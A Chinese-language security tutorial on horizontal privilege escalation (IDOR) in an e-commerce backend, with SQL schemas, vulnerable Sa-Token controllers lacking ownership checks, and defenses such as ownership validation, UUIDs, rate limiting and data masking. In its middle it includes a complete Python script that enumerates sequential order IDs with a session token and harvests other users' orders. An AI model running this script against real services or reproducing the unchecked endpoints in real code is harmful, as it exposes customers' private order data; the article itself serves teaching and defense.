在Web应用安全体系中,访问控制是守护数据边界的核心防线。当这道防线失效时,越权攻击便会有机可乘。其中,数据水平越权作为最常见且易被忽视的安全风险之一,常常在同权限层级用户之间制造数据泄露与篡改的漏洞,给企业和用户带来严重损失。本文将以电商系统为典型场景,深入剖析数据水平越权的本质、危害、典型场景与产生根源,并提供可落地的防御策略,助力开发者构建更稳固的安全防护体系。
一、数据水平越权的本质:平级用户的"跨界入侵"
1.1 定义与核心特征
水平越权(Horizontal Privilege Escalation),指的是同一权限等级的用户,通过非法手段突破系统限制,访问或操作其他同级别用户的私有数据或资源的行为。其核心特征是**"平级越界"**——攻击者与目标用户处于相同的权限层级(如普通消费者之间、商户用户之间),而非获取更高权限(如普通用户获取管理员权限,此为垂直越权)。
1.2 通俗类比与技术表现形式
我们可以用一个生活化的场景理解:同一栋公寓里,A户住户通过篡改钥匙或撬锁的方式,进入了权限相同的B户住户家中,查看或翻动其私人财物。在数字世界中,这种"撬锁"行为通常表现为:
篡改HTTP请求参数(如
userId=1001改为userId=1002)绕过前端校验直接调用后端接口
遍历可预测的ID(如自增的订单号、用户ID)
利用接口未授权访问或权限校验不完整的漏洞
1.3 水平越权 vs 垂直越权
二、电商场景下水平越权的产生根源(结合代码实例)
以文中的电商系统为例,我们先明确核心业务规则:
普通消费者:仅能查看自己的订单
商户用户:仅能查看所属店铺下的所有订单
2.1 数据库设计基础
CREATE TABLE sys_user (
user_id BIGINT NOT NULL AUTO_INCREMENT COMMENT '用户唯一ID',
username VARCHAR(50) NOT NULL COMMENT '登录账号',
user_name VARCHAR(50) NOT NULL COMMENT '用户姓名/昵称',
user_type TINYINT NOT NULL COMMENT '用户类型:0-普通消费者 1-商户',
shop_id BIGINT NULL COMMENT '商户所属店铺ID(普通消费者为NULL)',
create_time DATETIME DEFAULT CURRENT_TIMESTAMP COMMENT '创建时间',
PRIMARY KEY (user_id),
INDEX idx_shop_id (shop_id) COMMENT '关联店铺索引,提升查询效率'
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COMMENT='系统用户表';
CREATE TABLE shop (
shop_id BIGINT NOT NULL AUTO_INCREMENT COMMENT '店铺唯一ID',
shop_name VARCHAR(100) NOT NULL COMMENT '店铺名称',
shop_owner_id BIGINT NOT NULL COMMENT '店铺所属商户用户ID',
status TINYINT DEFAULT 1 COMMENT '店铺状态:1-正常 0-禁用',
create_time DATETIME DEFAULT CURRENT_TIMESTAMP COMMENT '创建时间',
PRIMARY KEY (shop_id),
INDEX idx_shop_owner_id (shop_owner_id) COMMENT '关联商户索引'
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COMMENT='店铺信息表';
CREATE TABLE `order` (
order_id BIGINT NOT NULL AUTO_INCREMENT COMMENT '订单唯一ID',
order_no VARCHAR(32) NOT NULL COMMENT '订单编号(非自增,避免遍历)',
user_id BIGINT NOT NULL COMMENT '下单的消费者用户ID',
shop_id BIGINT NOT NULL COMMENT '订单所属店铺ID',
order_amount DECIMAL(10,2) NOT NULL COMMENT '订单金额',
order_status TINYINT DEFAULT 0 COMMENT '订单状态:0-待支付 1-已支付 2-已完成 3-已取消',
create_time DATETIME DEFAULT CURRENT_TIMESTAMP COMMENT '创建时间',
PRIMARY KEY (order_id),
UNIQUE INDEX uk_order_no (order_no) COMMENT '订单编号唯一索引',
INDEX idx_user_id (user_id) COMMENT '消费者索引',
INDEX idx_shop_id (shop_id) COMMENT '店铺索引'
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COMMENT='订单表';2.2 现有代码的核心漏洞
漏洞1:角色权限校验与业务权限校验分离
@SaCheckRole("shop")
@GetMapping("/user/{userId}")
public Result<PageResult<Order>> listByUserId(@Validated PageDTO pageDTO, @PathVariable Long userId) {
// 仅校验角色为商户,但未校验:当前登录商户是否有权限查看该用户的订单
Page<Order> page = new Page<>(pageDTO.getPageNum(), pageDTO.getPageSize());
LambdaQueryWrapper<Order> queryWrapper = new LambdaQueryWrapper<>();
queryWrapper.eq(Order::getUserId, userId); // 直接根据入参查询,无数据归属校验
Page<Order> orderPage = orderService.page(page, queryWrapper);
PageResult<Order> result = new PageResult<>(orderPage.getTotal(), orderPage.getRecords());
return Result.success(result);
}问题本质:仅校验"是否是商户角色",但未校验"该商户是否有权限访问此订单"——商户A可通过修改userId参数,查询任意消费者的订单,甚至其他商户店铺下的订单。
漏洞2:商户店铺权限未绑定
@SaCheckRole("user") // 此处角色校验错误!普通消费者应不能按店铺查订单
@GetMapping("/shop/{shopId}")
public Result<PageResult<Order>> listByShopId(@Validated PageDTO pageDTO, @PathVariable Long shopId) {
// 1. 角色校验错误:普通消费者被赋予了按店铺查订单的权限
// 2. 未校验:若为商户角色,当前登录商户是否属于该shopId的所有者
Page<Order> page = new Page<>(pageDTO.getPageNum(), pageDTO.getPageSize());
LambdaQueryWrapper<Order> queryWrapper = new LambdaQueryWrapper<>();
queryWrapper.eq(Order::getShopId, shopId); // 直接根据入参查询,无归属校验
Page<Order> orderPage = orderService.page(page, queryWrapper);
PageResult<Order> result = new PageResult<>(orderPage.getTotal(), orderPage.getRecords());
return Result.success(result);
}问题本质:
角色校验逻辑错误:普通消费者(user)不应拥有按店铺查询订单的权限
数据归属校验缺失:商户可通过修改
shopId参数,查询其他商户店铺的所有订单
假设现在存在一个根据订单Id查询数据的接口,设计的初衷是前端根据返回的
普通消费者:仅能查看自己的订单
商户用户:仅能查看所属店铺下的所有订单
查询对应的订单详情,但当前的设计(orderId是自增的,且只验证是否登录)会让有心之人有可乘之机。参考以下controller设计和Exp
/**
* 根据订单ID查询订单
* @param orderId 订单ID
* @return 订单详情结果
*/
@SaCheckLogin
@GetMapping("/{orderId}")
public Result<Order> getById(@PathVariable Long orderId) {
return Result.success(orderService.getById(orderId));
}#!/usr/bin/env python3
"""
IDOR (Insecure Direct Object Reference) Exploit
针对订单查询接口的安全漏洞演示
漏洞描述:
- 订单ID使用自增整数,可预测
- 仅验证用户登录状态,未验证订单所有权
- 攻击者可遍历订单ID获取其他用户订单信息
"""
import requests
import json
import time
from typing import List, Dict, Optional
class OrderIDORExploit:
def __init__(self, base_url: str, session_token: str):
"""
初始化exploit
Args:
base_url: 目标API基础URL (如: http://example.com/api)
session_token: 有效的登录会话token
"""
self.base_url = base_url.rstrip('/')
self.session = requests.Session()
# 设置认证头 - 使用token字段
self.session.headers.update({
'token': session_token,
'Content-Type': 'application/json',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
})
def test_single_order(self, order_id: int) -> Optional[Dict]:
"""
测试单个订单ID
Args:
order_id: 订单ID
Returns:
订单数据或None
"""
try:
url = f"{self.base_url}/order/{order_id}"
response = self.session.get(url, timeout=10)
if response.status_code == 200:
data = response.json()
# 实际返回格式为 {"code": 0, "message": "success", "data": {...}}
if data.get('code') == 0 and data.get('data'):
return data['data']
return None
except Exception as e:
print(f"请求订单ID {order_id} 时出错: {e}")
return None
def enumerate_orders(self, start_id: int = 1, end_id: int = 1000, delay: float = 0.1) -> List[Dict]:
"""
枚举订单ID范围
Args:
start_id: 起始订单ID
end_id: 结束订单ID
delay: 请求间隔(秒)
Returns:
成功获取的订单列表
"""
found_orders = []
print(f"开始枚举订单ID: {start_id} - {end_id}")
print("=" * 50)
for order_id in range(start_id, end_id + 1):
order_data = self.test_single_order(order_id)
if order_data:
found_orders.append({
'order_id': order_id,
'data': order_data
})
# 打印找到的订单信息
print(f"✓ 订单ID {order_id}: 用户ID={order_data.get('userId', 'N/A')}, "
f"金额={order_data.get('orderAmount', 'N/A')}, "
f"状态={order_data.get('orderStatus', 'N/A')}, "
f"店铺ID={order_data.get('shopId', 'N/A')}")
else:
print(f"✗ 订单ID {order_id}: 无数据或无权限")
# 避免请求过快被限制
time.sleep(delay)
print("=" * 50)
print(f"总共找到 {len(found_orders)} 个可访问的订单")
return found_orders
def analyze_orders(self, orders: List[Dict]) -> Dict:
"""
分析获取到的订单数据
Args:
orders: 订单列表
Returns:
分析结果
"""
if not orders:
return {"message": "未找到任何订单数据"}
user_ids = set()
total_amount = 0
statuses = {}
shop_ids = set()
for order in orders:
data = order['data']
# 统计用户ID
if 'userId' in data:
user_ids.add(data['userId'])
# 统计店铺ID
if 'shopId' in data:
shop_ids.add(data['shopId'])
# 统计金额
if 'orderAmount' in data:
try:
amount = float(data['orderAmount'])
total_amount += amount
except (ValueError, TypeError):
pass
# 统计订单状态 - 将数字状态转换为可读格式
status_code = data.get('orderStatus', 'unknown')
status_map = {
0: '待支付',
1: '已支付',
2: '已发货',
3: '已完成',
4: '已取消',
5: '已退款'
}
status = status_map.get(status_code, f'状态{status_code}')
statuses[status] = statuses.get(status, 0) + 1
return {
"total_orders": len(orders),
"unique_users": len(user_ids),
"unique_shops": len(shop_ids),
"user_ids": sorted(list(user_ids)),
"shop_ids": sorted(list(shop_ids)),
"total_amount": round(total_amount, 2),
"average_amount": round(total_amount / len(orders), 2) if orders else 0,
"status_distribution": statuses,
"sample_orders": orders[:5] # 显示前5个订单作为样本
}
def save_results(self, orders: List[Dict], filename: str = "idor_results.json"):
"""
保存结果到文件
Args:
orders: 订单列表
filename: 输出文件名
"""
with open(filename, 'w', encoding='utf-8') as f:
json.dump(orders, f, ensure_ascii=False, indent=2)
print(f"结果已保存到: {filename}")
def main():
"""
主函数 - 演示IDOR攻击
"""
# 配置参数
BASE_URL = "http://localhost:8080" # 修改为实际的API地址
SESSION_TOKEN = "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpblR5cGUiOiJsb2dpbiIsImxvZ2luSWQiOjEsInJuU3RyIjoiU2pMN1ZyOU9Yb1BnNkFSdGNjOURRWjFOQ1FxVzhnQzkifQ.GMgJY9PxLFAUYGBI-Ghsg4Pjrzp_TAPgXarPgPfhst8"
# 创建exploit实例
exploit = OrderIDORExploit(BASE_URL, SESSION_TOKEN)
print("IDOR漏洞利用工具")
print("警告: 此工具仅用于安全测试,请勿用于非法用途!")
print()
# 枚举订单
orders = exploit.enumerate_orders(
start_id=1, # 起始ID
end_id=20, # 结束ID (根据实际情况调整)
delay=0.2 # 请求间隔
)
# 分析结果
analysis = exploit.analyze_orders(orders)
print("\n分析结果:")
print("=" * 50)
for key, value in analysis.items():
if key != "sample_orders":
print(f"{key}: {value}")
# 保存结果
if orders:
exploit.save_results(orders)
print("\n修复建议:")
print("1. 实现订单所有权验证")
print("2. 使用UUID替代自增ID")
print("3. 添加访问控制检查")
print("4. 实施API限流")
if __name__ == "__main__":
main()
三、水平越权的全维度危害
3.1 用户层面:隐私裸奔与财产损失
3.2 业务层面:信任崩塌与运营混乱
大规模数据泄露:攻击者编写脚本遍历
userId/shopId,短时间内抓取数万条订单数据,形成"数据黑产"用户信任危机:一旦用户发现订单信息泄露,会立即流失且难以挽回,品牌口碑断崖式下跌
商户间不公平竞争:商户A越权查看商户B的订单数据,分析其热销商品、客单价、用户群体,实施精准竞争
内部管理失控:员工利用越权漏洞,倒卖平台订单数据,或篡改订单状态侵占商家货款
3.3 合规与法律层面:巨额罚单与刑事责任
违反《个人信息保护法》:未采取必要措施保护用户个人信息,最高可处上一年度营业额5%的罚款
《网络安全法》追责:发生大规模数据泄露,企业可能被停业整顿、吊销营业执照
刑事责任风险:若数据泄露造成严重后果,开发/运维/管理负责人可能涉嫌"拒不履行信息网络安全管理义务罪"
行业监管处罚:电商平台若发生此类漏洞,可能被监管部门暂停支付接口、下架商品,影响核心业务运转
四、可落地的防御策略(电商场景适配版)
4.1 核心防御原则:数据归属校验前置
所有数据查询/操作前,必须执行**"身份-权限-数据归属"三层校验**:
身份校验:是否登录(
SaCheckLogin)权限校验:是否拥有对应角色(
SaCheckRole)数据归属校验:当前用户是否有权限访问该数据(核心)
4.2 修复:构建"数据归属+权限"双重校验体系
4.2.1 参数来源可信化校验
对客户端传入的所有参数执行 “零信任” 校验逻辑:涉及隐私 / 核心数据的查询接口,禁止直接使用前端传递的业务标识(如订单 ID、用户 ID)作为查询条件,必须从服务端已验证的登录态(如 Token 解析结果)中提取核心身份标识(如 UserId、ShopId),并以此为基准关联数据归属关系(如用户 - 订单归属、商户 - 店铺订单归属),校验当前登录主体是否具备访问该数据的权限。对于存在统一归属字段(如 UserId)的接口,可通过全局拦截器 / 过滤器实现归属权的统一校验,避免重复开发。
4.2.2 接口参数防篡改与身份验证
通过参数签名机制强化接口安全性:基于前后端预约定的共享密钥(Secret Key),结合 SHA256 等单向散列算法对请求参数进行不可逆摘要计算生成签名;服务端接收请求后,复用相同密钥和算法重新计算签名并与前端传入的签名比对,若不一致则判定参数被篡改或请求来源非法,直接拒绝处理。同时可对敏感参数采用对称加密(如 AES)传输,进一步提升参数保密性。
注意:这种方法可以被前端逆向工程破解。
4.3 进阶防御策略
策略1:禁用自增ID暴露,使用UUID(即使泄露也降低危害)
前端传递/展示的订单号、用户ID使用UUID(如将
orderId=1001转为orderId=fc0bc61342266da5e513f1472539fd2b)
这样即使泄露数据也是有限的,因为没有办法枚举全部数据Id
策略2:增加接口访问频率限制(即使泄露也降低危害)
import cn.dev33.satoken.annotation.SaCheckLogin;
import cn.dev33.satoken.annotation.SaRateLimiter;
import org.springframework.web.bind.annotation.GetMapping;
// 限制单用户1分钟内最多访问10次
@SaRateLimiter(key = "#loginId", count = 10, period = 60)
@GetMapping("/order")
public Result<PageResult<Order>> listMyOrder(@Validated PageDTO pageDTO) {
// 业务逻辑...
}策略3:数据脱敏(即使泄露也降低危害)
// 订单返回时脱敏处理
PageResult<Order> result = new PageResult<>(orderPage.getTotal(), orderPage.getRecords());
result.getRecords().forEach(order -> {
// 手机号脱敏:138****1234
if (order.getReceiverPhone() != null) {
order.setReceiverPhone(order.getReceiverPhone().replaceAll("(\\d{3})\\d{4}(\\d{4})", "$1****$2"));
}
// 地址脱敏:北京市朝阳区****小区
if (order.getReceiverAddress() != null && order.getReceiverAddress().length() > 8) {
order.setReceiverAddress(order.getReceiverAddress().substring(0, 8) + "****");
}
});策略4:日志审计与异常监控
记录接口调用日志,通过大数据+Ai发现水平越权的根源,这种做法可以找出很多漏洞。
策略5:定期安全测试
黑盒测试:模拟攻击者篡改
userId/shopId参数,验证是否能越权查询白盒审计:检查所有数据查询接口是否包含"登录用户ID/归属ID"的校验条件
五、总结
核心修复要点
数据归属校验前置:所有数据查询必须绑定"当前登录用户"的归属关系,杜绝直接使用前端传参的ID作为查询条件
角色与业务权限分离校验:角色校验(是否是商户)+ 业务权限校验(是否是该店铺的商户)缺一不可
禁用前端传参可控的核心ID:消费者查订单无需传
userId(直接从登录态获取),商户查订单无需传shopId(从商户信息中获取)
防御核心思想
水平越权的本质是"权限校验只做了角色层,没做数据层",防御的关键是:
后端不相信任何前端传递的参数,核心ID(用户ID、店铺ID)必须从登录态/数据库关联获取
每一次数据访问都要回答:当前用户是否有权限访问这条数据?
即使角色校验通过,也必须通过"数据归属"校验才能放行。
通过以上策略,可从根本上杜绝电商场景下的水平越权攻击,守护用户数据安全与企业业务稳定。